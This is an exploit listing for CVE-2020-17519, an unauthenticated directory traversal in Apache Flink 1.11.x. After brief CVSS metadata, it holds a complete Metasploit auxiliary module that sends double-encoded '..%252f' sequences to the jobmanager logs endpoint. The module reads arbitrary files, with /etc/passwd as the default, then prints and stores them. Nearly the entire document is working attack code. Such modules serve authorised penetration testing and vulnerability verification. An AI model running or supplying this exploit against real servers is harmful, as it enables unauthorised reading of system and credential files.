Apache Flink 1.11.0 Unauthenticated Arbitrary File Read (Metasploit)

2021.01.14
Credit: Suncsr
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 5/10
Impact Subscore: 2.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report def initialize(info = {}) super(update_info( info, 'Name' => 'Apache Flink File Read Vulnerability', 'Description' => %q{ This module exploits an unauthenticated directory traversal vulnerability in Apache Flink version 1.11.0 (and released in 1.11.1 and 1.11.2 as well), allowing arbitrary file read with the web server privileges }, 'Author' => [ '0rich1 - Ant Security FG Lab', # Vulnerability discovery 'Hoa Nguyen - Suncsr Team', # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2020-17519'], ['URL', 'http://www.openwall.com/lists/oss-security/2021/01/05/2'], ['URL', 'https://www.tenable.com/cve/CVE-2020-17519'] ], 'Privileged' => false, 'Platform' => ['php'], 'Arch' => ARCH_PHP, 'Targets' => [['', {}]], 'DefaultTarget' => 0, 'DisclosureDate' => 'Jan 05 2021' )) register_options([ OptInt.new('DEPTH',[true,'Traversal Depth',12]), OptString.new('FILEPATH',[true,'The path file to read','/etc/passwd']) ]) end def run_host(ip) traversal = '..%252f' * datastore['DEPTH'] filename = datastore['FILEPATH'].gsub("/","%252f") filename = filename[1, filename.length] if filename =~ /^\// res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,'jobmanager','logs',"#{traversal}#{filename}"), }) fail_with Failure::Unreachable, 'Connection failed' unless res fail_with Failure::NotVulnerable, 'Connection failed. Nothingn was downloaded' if res.code != 200 fail_with Failure::NotVulnerable, 'Nothing was downloaded. Change the DEPTH parameter' if res.body.length.zero? print_status('Downloading file...') print_line("\n#{res.body}\n") fname = datastore['FILEPATH'] path = store_loot( 'apache.traversal', 'text/plain', ip, res.body, fname ) print_good("File saved in: #{path}") end end


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